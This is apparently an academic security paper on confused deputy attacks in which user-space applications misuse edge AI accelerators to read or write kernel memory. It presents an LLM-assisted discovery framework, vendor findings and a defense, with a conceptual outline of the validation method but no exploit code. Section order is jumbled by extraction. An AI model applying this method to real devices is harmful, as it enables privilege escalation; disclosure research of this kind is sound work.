Speed Kills: Exploring Confused Deputy Attacks Through Edge AI Accelerators Datta Manikanta Sri Hari Danduri, Aravind Kumar Machiry
arXiv:2605.17707v1 [cs.CR] 18 May 2026
Purdue University, West Lafayette, IN, USA {ddanduri, amachiry}@purdue.edu
Abstract—AI Accelerator (AIA) are specialized hardware e.g., Tensor Processing Unit (TPU), that enable optimal and efficient execution of AI applications and on-device inference. The growing demand for AI applications has led to the widespread adoption of AIAs on Edge or embedded devices on Edge or embedded devices. Unlike applications, AIAs are not bound by Operating System (OS) restrictions and have limited visibility into Application Processor (AP) security mechanisms (e.g., kernel vs. application memory, process isolation). This semantic gap can lead to confused deputy vulnerabilities, i.e., AIA can be tricked by a malicious application to perform privileged operations on their behalf. In this paper, we conducted the first in-depth study of Confused Deputy Attacks (CDAs) using AIA. We design DeputyHunt, a Large Language Model (LLM) assisted framework to extract CDA relevant information for a given AIA through a combination of dynamic and static analysis. We used this information to explore the feasibility of CDA on seven different AIAs from popular vendors, i.e., Google, NVIDIA, Hailo, Texas Instruments, NXP, AWS, and Rockchip. Our analysis revealed that CDA is feasible on six out of the seven AIAs, impacting over 128 System On Chips (SOCs) and over 100 million devices. Our findings highlight critical security risks posed by AIA on system security. Our work has been acknowledged by the corresponding vendors and assigned the CVE-2025-66425. We propose an on-demand validation defense against CDA, and evaluation on the Gem5salam simulator shows that it incurs minimal runtime overhead (i.e., ∼15%).
I. Introduction Artificial Intelligence (AI) is increasingly embedded in enduser devices, enhancing functionality and user experience across smartphones [1], laptops [2], and smart home gadgets. As AI applications become more complex and widespread, there is an increasing need for on-device execution of AI models [3] to ensure low latency, energy-efficient, and privacypreserving processing. On-device AI Accelerators (AIAs) or AIAs are special-purpose processors optimized for computation models prevalent in AI models. Edge or embedded devices, such as smart cameras and IoT devices, self-driving cars, and drones, are also integrating AIAs to enable real-time AI processing at the edge [4], [5], [6]. It is predicted that 51% of Edge devices contain AIAs [7]. This makes AIAs essential for the current and future generation of smart and contextaware devices. AI applications executing on the main Application Processor (AP) communicate with the AIA and offload inference tasks. These tasks need to be performed quickly (e.g., face recognition on video streams) and might have to operate
on large data (e.g., high-quality images). Copying inference data explicitly from AI application address space to AIA’s is time-consuming and might impose significant overhead for high-bandwidth applications. Consequently, most AIA support zero-copy transfers [8], enabling AIA applications to share memory through pointers. This requires AIA access to the system memory, which is also used by the host system to store application and kernel code and data. AIA may not be aware of the security semantics (i.e., semantic gap) of the host system and the relevant levels enforced by the host system on various memory regions in system memory, e.g., AIA may not know that certain pages contain kernel code and AI applications (running in user space) cannot access them. Consequently, AIA poses a potential attack surface to the security of the host system running on AP. On desktop and general-purpose platforms, peripheral and co-processors, including AIAs, are typically isolated using hardware-based mechanisms, typically Input/Output Memory Management Units (IOMMUs) [9]. However, these approaches incur non-trivial performance and power overheads, making them unsuitable for Edge/IoT devices, which operate under strict energy constraints and are highly sensitive to performance degradation. As we show in § III, although IOMMU support is present on most Edge devices, it is not enabled for AIAs. This observation aligns with prior work showing that memory-isolation mechanisms are seldom deployed in Edge and, more broadly, in embedded systems [10]. Recent work by Olsen et al. [11] also highlights the possibility of security threats to the host system by integrating third-party AIA. But almost all existing security works [12], [13], [14] on AIA focus on protecting it from the host system and the privacy of the model executing on the AIA. Recent works [15], [16] try to explore vulnerabilities resulting from integrating AIA, i.e., vulnerabilities in the host-side kernel driver of AIA. There exists no work that tries to explore the other direction, i.e., security threats to the host system from AIA. In this paper, we perform the first exploration of security threats to the host system from AIAs on Edge devices. Specifically, we perform a systematic exploration of Confused Deputy Attack (CDA) [17] on the host system through AIA. We hypothesize that AIAs could also perform CDAs because of zero-copy mechanisms, i.e., an unprivileged user space application can use AIA to access privileged memory regions of the host system. However, the diverse and closed-source nature
of vendor libraries and the black box nature of AIAs make the investigation challenging. We characterize possible CDAs that could occur in AIA and develop DeputyHunt, an LLMassisted technique to aid in CDA exploration.We analyzed seven popular AIAs (from Google, Texas Instruments, NXP, Hailo, Nvidia, AWS and Rockchip) using our methodology and identified CDAs in six of them, affecting hundreds of System On Chip (SOC) that are used in the real world. We verified our findings by creating working exploits. All our findings have been acknowledged by the corresponding vendors. NXP already assigned CVE-2025-66425 for our security flaw. We identify necessary conditions for CDA and present possible defenses with various characteristics. We have implemented on-demand validation using Gem5-salam [18] simulator and show that the overhead is minimal, i.e., 3.05%. We are also working with the vendors on possible defenses. In summary, the following are our contributions: • We perform the first observation of security threats, specifically Confused Deputy Attacks (CDAs), from AIA to the host system on edge devices. • We develop DeputyHunt, an LLM assisted technique to aid in CDA exploration on AIAs. Our investigation of seven real-world AIA boards from popular vendors, such as Google, Nvidia, NXP revealed that CDA is possible in six of them, affecting hundreds of SOCs used in the real world. Our findings have been acknowledged by the corresponding vendors. • We evaluated an on-demand validation defense on Gem5salam [18] simulator and show that it incurs minimal overhead.
that occurs on end devices. This results in an extreme diversity in AI Accelerators (AIAs), optimized for different mathematical structures and use-cases, e.g., streaming devices, autonomous driving, etc. Currently, there are more than 100 different Edge AIAs (or AIAs) optimized for specific boards and use cases [6]. A. Inference with AI Accelerators (AIAs) Applications running on the main processor configure AIAs for an AI model and perform inference on the desired input (example discussed in Appendix A). If a model or a part of it cannot be executed on AIA, they fall back on the main AP for execution. Application Processor (AP) is the main processor on which the host system (i.e., OS and applications) runs, as illustrated in Figure 1. We consider the host system to be a Linux-based OS, e.g., Debian, and present the low-level details specific to the Linux kernel. An Userspace Application (UA) (i.e., AI Userspace Application (AUA)) runs in user space and interacts with the AIA, e.g., to perform inference. As illustrated in Figure 1, a typical UA consists of application code, AI Framework (AF), and AIA Vendor Library (AVL). The application code primarily leverages AFs, i.e., machine learning frameworks such as TensorFlow and PyTorch [23], to implement AI functionality. AFs rely on AVLs, vendor-specific libraries that enable interaction with target AIAs, e.g., libGAL.so for NXP. AVLs encapsulate device-specific semantics and translate high-level ML operations into AIA-specific commands. Unlike AFs, most AVLs are closed source and distributed as stripped binaries. Finally, AVLs interact with vendor-specific Kernel Driver (KD), which mediates communication with AIAs. These drivers typically expose one or more device files through which user space interacts using standard system calls (i.e., ioctl, mmap); for example, the KD for the NXP NPU exposes /dev/galcore. While common, the use of AFs and AVLs is not required to access AIAs; applications can directly interface with the KD to communicate with the accelerator. In the paper, we frequently refer to the following memory regions (illustrated in Figure 1).
II. Background AI Accelerators (AIAs) are a form of coprocessors [19], [20] that are specially designed to accelerate embarrassingly parallel [21] Artificial intelligence (AI) and machine learning (ML) workloads. On desktop and server-class systems, AI acceleration is typically realized using General Purpose Graphic Processing Unit (GPU) (GPGPU)s, e.g., NVIDIA A100. Although originally designed for graphics processing, these processors can efficiently execute Single Instruction Multiple Data (SIMD) computations, a paradigm well-suited for many AI workloads. However, GPUs are costly and power-hungry, making them illsuited for Edge/IoT devices that operate under tight resource constraints. To address these limitations, domain-specific accelerators have emerged that are highly optimized for a narrow set of operations, such as Multiply Accumulate (MAC), Multiply Add (MAD), and activation functions. These accelerators achieve high efficiency and are well-suited for embedded environments. For example, the Google Edge TPU (Google TPU) [22] is specifically optimized for neural network models; it incorporates dedicated MAC units to accelerate tensor operations while meeting the performance and energy requirements of Edge devices. In this work, we focus on edge inference accelerators, i.e., those that are optimized for specific types of machine learning models for edge devices. Inference is a deployment use case
• System
Memory (SMem): This is the total addressable physical memory (i.e., RAM) available on the system. • DMA Memory (DMem): These are special direct memory access regions [24] of SMem, which enable easy sharing of data with other processors and peripherals. • AIA Reserved Memory (AIRMem): These are also special regions of SMem that are shared between AP and AIA. AIRMem provides a shared memory communication channel between AP and AIA. • AIA MMIO Memory (AIMem): These are a special set of Memory mapped I/O (MMIO) address ranges [25] that correspond to AIA. Similar to AIRMem, AIMem is also mapped into kernel space. • Host Memory (HMem): This represents SMem memory regions that will be used by the host for general-purpose computing, i.e., by the software running on AP. Specifically, this excludes all special memory regions from SMem.
2
• User
Memory (UMem): These are memory regions that belong to UAs. We use a subscript to indicate regions belonging to different UAs, e.g., 𝑈 𝑀𝑒𝑚 1 indicates memory region belonging to 𝑈 𝐴1 . • Kernel Memory (KMem): These are privileged memory regions that can only be accessed by the kernel. UAs (by default) do not have access to KMem, unless it is explicitly mapped as UMem by the kernel. Figure 4 (in Appendix) represents the relationship between different regions.
runtime overhead for AI workloads [33], 80% throughput loss for memory-intensive workloads [31], and 85%–374% overhead for threaded accesses [34]. Consequently, as shown in Table IV and discussed in § VIII-H, state-of-the-art AIAs are typically configured to bypass the IOMMU to avoid these costs. This trend extends beyond edge systems: on desktop and server-class platforms, IOMMU is often disabled by default or manually turned off by users to mitigate performance and compatibility issues, and such configurations remain widespread [35], [36]. From a security perspective, IOMMUs alone does not prevent DMA attacks [37], [9], [38], [33], [39], [34] and remains vulnerable to sub-page attacks [37], [9] and side-channels [40] even when enabled. Process-level isolation further requires PASID support, which introduces additional complexity and is often absent in real-world IOMMUs. Moreover, IOMMUs protections are ineffective for peripherals with complex, interrupt-driven interactions [35], as is common for AIAs. This lack of protection mechanisms and the need for efficient memory access can lead to security issues. It is important to investigate whether AIAs could affect the host system by accessing host memory.
B. IOMMU and Memory Protections Similar to how Memory Management Unit (MMU) [26] provides memory isolation between processes running on AP, IOMMU provides memory isolation between processors [9], e.g., separating Direct Memory Access (DMA) regions. Similar to process page tables that regulate memory accesses between processes, IOMMU page tables control memory accesses among processors or bus masters (i.e., entities capable of accessing SMem). Each entry in an IOMMU page table translates devicevisible virtual addresses (I/O Virtual Addresses (IOVA)) into physical addresses. This translation enables the IOMMU to confine a device’s memory accesses to designated regions of SMem, thereby preventing unauthorized access to sensitive data by malicious or compromised devices. For example, a Wi-Fi processor can be restricted to a specific DMA region, preventing it from accessing other areas of SMem. Traditional IOMMUs does not provide process-level isolation, i.e., the isolation is per-processor. Consequently, IOMMU does not provide isolation between different entities (e.g., processes) executing on the same processor. IOMMUs can be equipped with Process Address Space Identifier (PASID) support, which, in addition to the device, also supports address space IDs, such that different entities within the same processor can be isolated. However, PASID feature is not present in most IOMMUs, because of the associated costs [27]. The SVA(Shared Virtual Addressing) [28] mechanism in the latest Linux Kernel uses IOMMU’s PASID feature to associate each DMA request with a specific process’s address space. This association allows the IOMMU to enforce memory access permissions based on the process context, ensuring that a device can only access memory regions allocated to the process it is servicing. To use SVA, IOMMU support is required on the platform and also required to support the PCIe features ATS and PRI [28].
IV. Threat Model We assume the attacker controls a Userspace Application (UA) running on the host system that can communicate with the AIA. The attacker operates entirely in user space and has no additional privileges beyond standard user-mode access, but can interact with the KD to issue requests to the AIA. We illustrate in Figure 1. Our threat model aligns with this model using prior work [29], [30], [41] and captures the common leastprivilege deployment setting. It is also consistent with recent efforts targeting GPUs security [42], [43]. The goal of the attacker is to violate security restrictions enforced by the host system by communicating with the AIA. We focus on memory restrictions, where the attacker’s goal is to access memory regions that they do not have access to according to the host system. Specifically, memory regions that are not mapped into UA address space, i.e., those that belong to other UAs or unmapped kernel memory (KMem). We call them restricted memory regions. We illustrate this with Attacker Goal label in Figure 1 V. Confused Deputy Attack (CDA) through AIAs Given the restrictions described above (§ IV), one of the ways for the attacker to achieve their goal is through the AIA. Specifically, the attacker can use an AIA to access restricted memory regions. This class of attacks is commonly referred to as Confused Deputy Attack (CDA) [17], where a low privilege entity 𝑙 confuses the deputy to perform an operation 𝑜 which 𝑙 is not allowed to. We focus on memory CDAs, where the attacker’s goal is to access restricted memory through the deputy. In our case, the attacker (i.e., AI Userspace Application (AUA)) is the low-privilege entity that wants to access restricted memory regions through the AIA (i.e., deputy). This is illustrated by red lines (——) in Figure 1.
III. Motivation To support efficient inference via zero-copy transfers, AIAs require high-bandwidth, low-latency access to host memory. Prior work has shown that zero-copy mechanisms are difficult to secure and are prone to vulnerabilities [29], [30], [31]. Although IOMMUs provide a mechanism for controlled memory sharing between peripheral processors (§ II-B), they are rarely used in practice on edge devices. Beyond configuration complexity, as we show in § IX, IOMMUs incur significant overhead due to per-access validation, which is particularly costly for memoryintensive AI workloads [32]. Prior studies report up to ∼32×
3
System Memory (SMem)
AIMem
AIRMem
DMem
SMID
UM
Valid SMIDs
SMID
SMID
SMID to Restricted Memory
User space owned memory
Shared Memory (User space and AIA)
User space restricted memory
AIA Owned Memory
Attacker Goal
Memory Regions 2.a
1.c
User Space
Message Creation
Message created by User space
Enabling Shared Memory
SMIDs to restricted memory
Application Code
User Space Application(UA)
AI Frameworks AIA Vendor Libraries
AIA Setup
1.b
SMIDs to valid memory (i.e., shared memory)
Data Items
AIA Communication
Kernel Space
2.c 1.a 2.b 3.a
3.b
AIA Release
Open-source
Driver Interface
AI Accelerator
Kernel Driver (KD)
Complete Blackbox
Binary only (AIA Specific) Components
Application Processor (Host System)
Fig. 1. Communication with AIA and Threat Model
We aim to perform the first investigation of the possibility of memory CDAs (which we will refer to as just CDAs in the rest of the paper) through AIA. Paper Roadmap. First, we provide low-level details on typical communication with AIA (§ VI). Second, we present our methodology to investigate CDAs in AIA (§ VII-C). Third, we will present the results of our investigation on various commercial AIAs (§ VIII) and discussions with affected vendors (§ VIII-H). Finally, we discuss possible defenses (§ IX).
B. Inference At a high level, a UA performs the following three steps to use the AIA, i.e., to perform inference on it. Setup. First, UA gets access to AIA by interacting with KD through the device file and using appropriate system calls, e.g., ioctl, as illustrated by 1.a in Figure 1. The KD primes ( 1.b in Figure 1) AIA to be used by the requested User Space Entity (USE). Requesting Shared Memory Pages (SMPs): Optionally, UA can request Shared Memory Pages (SMPs), i.e., those which both UA and AIA can access. UA uses SMPs to send input (e.g., image to predict) to and fetch output (e.g., result of inference) from AIA. Depending on the AIA’s design SMPs could be arbitrary pages within UA’s memory (case 1) or specialized pages in DMem (case 2). In case 1, UA provides the virtual address of the page that needs to be shared. In case 2, KD allocates a requested number of pages in DMem. Registered SMPs are referred using their corresponding shared memory identifiers, i.e., Shared Memory ID (SMID). These SMIDs can be generated either by KD or chosen by UA. UA should use SMIDs to refer the corresponding SMPs for all future communications with KD and AIA. Enabling AIA’s access to SMPs: KD also configures AIA to have access to requested SMPs. We illustrate this by 1.c in Figure 1. The mechanism depends on the design and capabilities of AIA. For instance, AIA could have its own memory management unit with page tables (e.g., Google TPU). In such case, KD needs to modify these page tables and add entries corresponding to the physical pages of SMPs. The SMID in this case could be the virtual address of the mapping corresponding to the SMP. Communication. After the setup, UA communicates with AIA to perform one or more inference tasks. The communication happens through messages whose structure is AIA specific. First, UA copies messages into a fixed AIA accessible memory regions, i.e., AIMem or AIRMem that are mapped into the UA’s address space.This is illustrated by 2.a in Figure 1.
VI. Communication with AIAs The communication mechanism between AP and AIAs can be broadly divided into two phases: System Initialization (§ VI-A), and Inference (or usage) (§ VI-B). A. System Initialization This is a one-time phase that typically occurs during the host kernel initialization and during the initialization of KD. There are two sub-steps in this phase: identifying memory regions and setting up user-space interfaces (i.e., create driver files for the user space to interact). The host kernel needs to identify the necessary memory regions to communicate with AIA, i.e., AIMem, and AIRMem. The mechanism to identify these regions depends on how AIAs are connected to AP, which can be either directly or through standard peripheral connection mechanisms such as Peripheral Component Interconnect (PCI) bus [44]. For directly connected AIAs, memory regions are statically defined through the Device Tree [45], a special data structure containing memory ranges for different peripherals. AIAs that are connected through PCI bus are dynamically detectable through the PCI protocol, which requires the devices to expose a set of Base Address Register (BAR) registers [44]. These registers of a PCI connected AIA contain the information about the memory ranges, i.e., AIMem and AIRMem, for the AIA. The kernel reads BAR registers and marks the memory regions appropriately, as mentioned above.
4
SMIDs configured) is hard and requires semantic understanding of the KD and how it communicates with the AVLs (and UA). Specifically, this requires cross-layer interaction information (e.g., how UA/AVL communicates SMID addresses to KD) and understanding how the KD processes the information. Generic and automated program understanding is a known hard problem [46]. But, recent studies [47], [48], [49] show that LLMs are good at code summarization with proper context information and scoping. Although AVLs is closed source, we can use syscall tracing and other logging mechanisms to capture its interactions with KD. These logs will provide the necessary context for LLMs. However, as previous work shows [50], providing the entire source code (i.e., entire KD sources) to LLMs might be detrimental and result in hallucinations. To tackle this, we use an agentic design, where one could configure LLMs to ask for additional information when needed (e.g., struct definitions), and an analysis agent can provide the required information.
Second, UA makes a request to KD ( 2.b in Figure 1), which will notify AIA about the message ( 2.c in Figure 1), either through interrupts or by writing to specific MMIO regions. Messages can refer to certain regions of SMPs through corresponding SMIDs as illustrated in Figure 1. AIA responds ( 2.c ) back to KD through interrupts or by writing to specific MMIO regions (on which KD polls) KD relays ( 2.b ) the response to UA synchronously (where UA is blocked) or asynchronously (where UA polls). Teardown. After all inference operations, UA ends communication with AIA by closing the handle to the device file ( 3.a ) and releasing allocated AIA memory regions ( 3.b ). VII. Investigating CDAs through AIAs As mentioned in § V, an attacker can use memory CDAs (or CDAs in this paper) to access memory regions (through AIA) that attacker does not otherwise have access to. As mentioned in § VI-B, applications interact with AIAs through messages that can contain references to memory regions through SMIDs. To prevent CDA, AIAs should correctly validate SMIDs provided by a USE to ensure that the corresponding memory region is accessible by the USE. If AIA fails to validate SMIDs, then an attacker can pass SMIDs that belong to restricted memory regions and have (or confuse) AIA to access them. We illustrate this by red line (—–) in Figure 1. In summary, the necessary conditions for CDA are: (i) AIA fails to validate SMIDs; and (ii) Attacker can provide SMIDs to restricted memory regions.
C. DeputyHunt Based on the above insight, we designed DeputyHunt, an LLM-assisted framework to aid in the detection of CDA on AIA. We focus on capturing the essential AIA and CDA relevant information, which can be used to check whether CDA is possible on the given AIA. Specifically, we focus on identifying: How UA requests SMPs to communicate with AIA and how SMIDs are created (Steps 1.a , 1.b , 1.c in Figure 1) and how SMIDs are used in messages and their structure (Steps 2.a , 2.b in Figure 1). Once this information is known, we can easily verify CDA by issuing messages containing SMID to restricted memory and checking if the access is successful. Our framework requires the source code of KD (i.e., a directory path) and an UA, specifically, AUA, i.e., a user space application that uses AIA. We do not have any restrictions on UA, the only requirement is that it uses AIA to perform an inference task. Most AIA vendors already provide example applications. We also created a simple UA that tries to perform inference using mobilenet_v1 model [51], which can be easily configured for the target AIA using developer documentation. The Figure 2 shows the overview of DeputyHunt, which has four stages. 1) Memory Regions Identification: We use an ad hoc script (not shown in Figure 2) to extract the AIA’s memory regions, i.e., AIMem, and AIRMem. As mentioned in § VI-A, the information about these memory ranges depends on how the AIA is connected to the AP. There are two most common ways of connecting AIA to AP, i.e., direct connection or connection through PCI or Universal Serial Bus (USB). The Technical Reference Manual (TRM), data sheets, and vendor websites usually contain the information on how AIAs are connected to AP. For directly connected AIAs, the memory regions will be specified in the Device Tree Blob (DTB). We extract the DTB from the boot partition and using Device Tree Compiler (DTC) tool [52] to convert it to Devicetree Source (DTS) format [53]
A. Challenges Investigating CDAs requires understanding the semantics of SMID and how they are communicated to the target AIA. However, this is challenging due to the black-box nature of AIAs and the diversity of software abstractions. The internal architecture and Instruction Set Architecture (ISA) of AIAs are proprietary and not publicly available, making firmware analysis or reverse engineering impractical and limiting visibility into how AIA accesses host memory. From the host side, as described in § II-A, UAs interact with AIAs through multiple abstraction layers, i.e., AFs, AVLs, and the KD. These layers combine both open-source and closedsource components (see Figure 1). For example, while AFs such as TensorFlow are open source, vendor libraries (i.e., AVLs), such as librknn_api.so, are distributed only as binaries. In some cases, there are multiple layers of closed-source AVLs (Appendix Listing 21). This heterogeneous and partially opaque software stack makes it difficult to infer message formats and the semantics of SMIDs. B. Insight We observe that despite the closed-source nature of AVLs, KD is open-source and in the Linux kernel (our target host system), there are a fixed set of well-known mechanisms for KD to communicate with external peripherals, such as AIA. However, precisely inferring the exact semantics (e.g., how are
5
Instrumented Sources
Kernel Sources
Source Instrumentation (Sec VII.C.2)
Logs Collection (Sec VII.C.3)
AIA Interaction Information
Data Extraction (Sec VII.C.4)
LLM Assisted Insights Extraction (Sec VII.C.5)
Validated CDA
UA
(or AUA)
User space and kernel logs
AIA/CDA Relevant Information
LLM
Analysis Agent
CDA Validation (Sec VII.C.6)
Fig. 2. Overview of DeputyHunt.
of § VII-C). First, we compile the instrumented KD and boot the corresponding kernel by enabling boot logs. Second, we execute the AUA (which just performs a fixed inference) and collect system call logs through strace (i.e., strace -t ...) and kernel logs through dmesg (i.e., dmesg --timeformat=iso ...) buffer. Finally, we order both the strace and kernel logs chronologically according to the timestamp. 4) Data extraction: The logs collected in the previous phases are usually long and might contain unnecessary information. In this phase, we process the raw logs and extract AIA relevant interaction information and organize it in a JSON format. Specifically, KD functions that handle data from user space, execution trace corresponding to SMem registration, DMem regions, device files exposed by KD (i.e., files on which ioctl calls are made), AVLs used by AUA and other information. Listing 49 shows the snippet of the data extracted in this phase. 5) Large Language Model (LLM) Assisted Insights Extraction: In this phase, we use LLM to determine AIA relevant functions (i.e., functions managing SMem and generating SMIDs), KD entry point (i.e., ioctl command handling SMem), Message Semantics (Message Structure and SMID) definitions) along with reasoning and confidence score (0-100), e.g., why the function is AIA relevant function and what is the confidence. LLM Configuration: We provide LLM with the data extracted from the previous phase (§ VII-C4) as context. We also provide the LLM with an analysis agent (through function calling [58] hook), which can be used to extract struct definitions. Listing 51 shows the snippet of our configuration. Specifically, LLM can ask the analysis agent for arbitrary struct definitions, and our agent (a tree sitter [56] [57] parser) will provide the C source of the corresponding struct. Finally, as part of the system prompt, we briefly explain what AIA relevant function means, what KD entry point means, what SMem and SMIDs mean. In other words, we provide a sufficient description of the background information (§ VI). Listing 50 shows the snippet of our system prompt. For each instrumented function (i.e., function containing interesting call-sites), we provide its source code and ask LLM to check if its an AIA relevant function along with confidence scores, we also ask it to find KD entry point and Message Semantics (Message Structure and SMID) along with reasoning for the scores. Listing 52 shows the example of LLM response for a AIA relevant function. Similarly, Listing 58 shows the
— a readable and parsable format. We parse the DTS file to extract AIMem and AIRMem corresponding to the AIA. For PCI or USB connected AIAs, we use lspci or lsusb tool, respectively, to identify AIMem and AIRMem. 2) Source Instrumentation: Our goal is to record communication from user space to KD and from KD to AIA. Specifically, we want to capture the execution flow and functions involved in communicating with the UA and AIA. ioctl handlers are the main entry points in KD from UA. We parse the struct file_operations structure within KD source file to identify the handler function name and instrument the function to log its execution. To log data transfers, we instrument copy_from_user and copy_to_user, which are the standard functions used by the kernel to access data from UA and copy data back to UA, respectively. We instrument all call-sites (within KD) of these functions to log the call with timestamp and also to dump the call-stack. DMA is the most commonly used mechanism for highspeed data transfer, which is also commonly used in AIAs (§ VI-B) To log DMA, we instrument all DMA related function call-sites, specifically, dma_alloc_coherent [54], dma_map_page [54], dma_sync_sg_for_device [54]. DMA handles might be managed in a custom manner by the KD. Although it is hard to know precisely how the handle is managed, we observed that functions to manage this will mostly be in the same source file as DMA calls. Based on this observation, we also instrument the entry point of all functions in the DMA related source files, i.e., those containing DMA calls. Memory pages used for DMA should be pinned so that they will not be swapped under memory pressure. This could be done in different functions. To handle this, we also instrument all page pinning callsites, i.e., i.e., get_user_pages_fast [55], pin_user_pages [55]. We perform instrumentation directly on the source code, enabling our technique to be compiler independent, i.e., the instrumented code can be built using any compiler. We use a custom tree sitter [56] [57] parser to parse through KD source code and add our instrumentation at the relevant program points. Specifically, our instrumentation adds a log statement with a timestamp and dumps the call stack using the dump_stack function. Listing 48 shows an example of our instrumentation. 3) Logs Collection: This phase focuses on collecting the kernel logs emitted by our instrumentation in KD and also system call logs from AUA (as mentioned at the beginning
6
example of LLM response for Message Semantics (Message Structure and SMID). 6) Validating CDA: Given the message structure and SMID semantics collected in the previous phase (§ VII-C5), in this phase, we focus on verifying the possibility of CDA by passing messages with SMID of restricted memory regions and verifying that AIA did access the corresponding restricted memory region. SMID Mapping. First, we try to find a mapping between memory regions and SMID. Specifically, can we create SMID to any arbitrary memory region? This may or may not be possible depending on the SMID semantics (captured in § VII-C5). For instance, SMID could be a fixed transformation of the target memory address, e.g., address + 3, in which case we trivially create SMIDs. There could be cases where SMID could be an opaque ID or index into a table maintained by KD; in such cases, creating SMID mappings is not possible. However, there could be cases where SMID mappings can only be achieved for specific memory regions, e.g., DMem. We also check to see if SMID can be created for stale memory regions, i.e., memory regions that were once accessible by the application but are not accessible now, e.g., released through munmap system call. Checking CDA. We execute our UA and hook all messagepassing ioctl commands (identified in § VII-C4 and § VII-C5). We modify the message structures with SMIDs to a restricted memory region. We use a specially crafted kernel page as the restricted memory region. Specifically, we create a kernel page and fill it with a fixed pattern. If the modified request is successful (i.e., AIA did not crash), we check the contents of the restricted memory region. We check if there is a change in the pattern, which indicates that AIA did write to the restricted memory region, confirming a write CDA. We change the model parameters used in UA to see if we can control the value that gets written, confirming full-value control CDA. If the modified request is unsuccessful, we consider that CDA is not possible through the AIA. Unlike previous phases, this phase is not automated and requires manual intervention to verify restricted memory accesses, whose ranges vary across different boards. Nonetheless, we have created template scripts that can be easily customized for different AIAs.
an AWS EC2 DLAMI (Deep Learning) instance. We selected the following seven AIAs based on the above criteria: • Google Edge TPU (Google TPU) [22]. Google Edge TPU is one of the most popular AIAs with TPU architecture [65]. It is used in Pixel 4XL/Coral [66], biometrics and face recognition [67], building smarter cities, and the automotive and healthcare industries[68] and Google Pixel 4XL Smartphones. • NXP Neural Processing Unit (NPU) [69]. This is an integrated NPU [70] and is most popular for industrial automation. It is used in smart unmanned aerial vehicle (UAV) [71], Safety of Smart Cities [72], Smart homes and Industrial IoT [73]. • Texas Instruments MMA (TMMA) [74]. This AIA uses Matrix Multiply Accelerator (MMA) architecture [75] and is commonly used in Advanced Driver-Assistance Systems (ADAS), Autonomous Vehicle (AV), and industrial applications [76]. • Hailo NPU (HAILO NPU) [77]. This AIA uses Neural Processing Unit (NPU) architecture [78], [77] specialized for edge, and it is commonly used in ADAS [79]. • Nvidia GPU (NVIDIA GPU) [80]. This AIA uses Graphic Processing Unit (GPU) architecture [80] and is commonly used in robotics [80], smart cities [81] and medical applications [82]. • AWS Inferentia (AINF) [83]. This AIA is widely used in AWS Elastic Compute Cloud (EC2) to deploy applications that perform inference, from generative AI(mixtral, llama etc)[84] to custom models. • Rockchip NPU (RNPU) [85]. This integrated NPU is popular for retail applications. It is used in Advertising Machines [86],human pose recognition system [87], retail surveillance [88], industrial computing, AI servers, AI driving monitoring [89]. B. AIAs Setup For each AIA, we used state-of-the-art development boards that are publicly available and provide the required setup instructions and documentation (§ VIII-A). We ran the recommended open-source OS distribution as the host OS. Table IV summarizes the details of the evaluated boards, the host OS, and links to the corresponding documentation. For each board, we developed a simple application (following the official documentation) that utilizes the corresponding AIA and serves as our AUA. As discussed in § VII-C, any application that issues at least one inference request to the AIA qualifies as an AUA. In most cases, the official documentation provides an example application, which we directly adopted as the AUA. As shown in Figure 2, for each board, we executed the corresponding AUA on the instrumented kernel and collected the resulting logs. 1) Exclusion of RNPU: Our initial examination of the RNPU documentation indicates that it does not employ zero-copy data transfers, thereby violating the necessary conditions for CDA and effectively preventing such attacks. Specifically, RNPU communicates with the host system exclusively through USB messages and does not exchange data via shared memory
VIII. Evaluating DeputyHunt We evaluate DeputyHunt by using it to analyze the potential for CDA across a set of real-world AIAs. A. AIA Selection Our aim is to select real-world and representative edge AIAs. We referred to the existing AIA surveys [59], [60], [61], [62], [63], [6] to select AIAs. We selected AIA that are available within their development board, and the provided setup work and had valid KD source code. For instance, we did not select Sipeed AIA [64] as the documentation is not available in English, and the recommended setup did not work. We also want vendor and architecture diversity. For instance, we did not want to select multiple TPUs or multiple AIAs from the same vendor. To assess the effectiveness of our methodology in a cloud setting, we selected AWS Inferentia AIA and explored our methodology on
7
The column NER shows the Net Effort Reduction, i.e., the number of functions that we had to manually analyze to find the true result using our descending confidence method (§ VIII-C). On average, there is a ∼98% reduction across all three tasks, i.e., by following our methodology, an analyst needs to manually check only 1% of functions. As indicated by the raw numbers, in most cases, the valid result was found in the first five functions. The column VRC indicates the valid result confidence score, i.e., the confidence score of the valid result. In most of the cases, the valid result had a high confidence score, i.e., ∼90%. There were only two cases, where the confidence was less, i.e., 73% and 65%. On average, valid results had a high confidence score of ∼82%, 86%, and 90% for AIA relevant functions, KD entry point, and SMem handling, respectively. As indicated by the raw numbers, in most cases, the valid result was found in the first five functions. 3) Validating LLM Results: Despite the effort reduction (§ VIII-D2), we still need to analyze LLM results to find the correct information. As we configure the LLM to provide reasoning, checking its results is fairly easy and can be done pretty quickly. As shown in Listing 59 and Listing 60, LLM correctly identifies the function as handling message structures and SMIDs. Thanks to the reasoning, it is relatively easy to see that the result is valid. In contrast, as shown in Listing 61 and Listing 62, from the reasoning, it is clear that the functions are focusing on setting up event handling and can be discarded as invalid results. The checking is done by the authors, who are graduate students and have a basic understanding of Linux kernel sources. On average, it took ∼2 minutes to verify each result. As discussed in § VII-A, complete automated detection and exploitation of CDA on generic AIAs is challenging, or rather impossible. Consequently, we envisage our framework (DeputyHunt) to be an analyst aiding tool to explore CDA in AIAs, rather than an automated push button technique. In summary, DeputyHunt was able to identify CDA relevant information for all AIAs by reducing analyst effort by 97% on average. In the rest of the subsections, we present the results of each of the DeputyHunt phases on AIA.
pointers, which eliminates the possibility of memory-based CDA. Consequently, we do not present experimental results for RNPU, as it cannot be subject to memory-based CDA. C. Investigation Method For our LLM, we chose gpt-4o-mini as it was cheap and was able to provide good results. We tried with other models, i.e., gpt-4, gpt-4-turbo, but the performance did not improve much. For each AIA, we instrument the relevant KD program points (Table VI (in Appendix) shows the instrumentation statistics) and execute our framework (§ VII-C) and analyze each of the LLM results (i.e., AIA relevant functions and Message structures and SMIDs). We only looked into the results with a confidence score ≥60, as anything less is similar to a random choice. We analyzed results in descending order of confidence scores until we found valid results, i.e., we check the results with a maximum confidence score to see if the results are valid; if not, we go to the results of a lower confidence score, and so on. Specifically, we check if the LLM reasoning is valid, and the provided function indeed is AIA relevant, and the message structure is correct. We were able to identify the CDA information for all our AIAs through our framework by following this method. Once we find the valid results, we try to verify the possibility of CDA (§ VII-C6). D. Effectiveness of DeputyHunt As discussed in § VII-B, the primary objective of DeputyHunt is to reduce the analyst effort required to investigate CDA on AIAs. 1) Method: 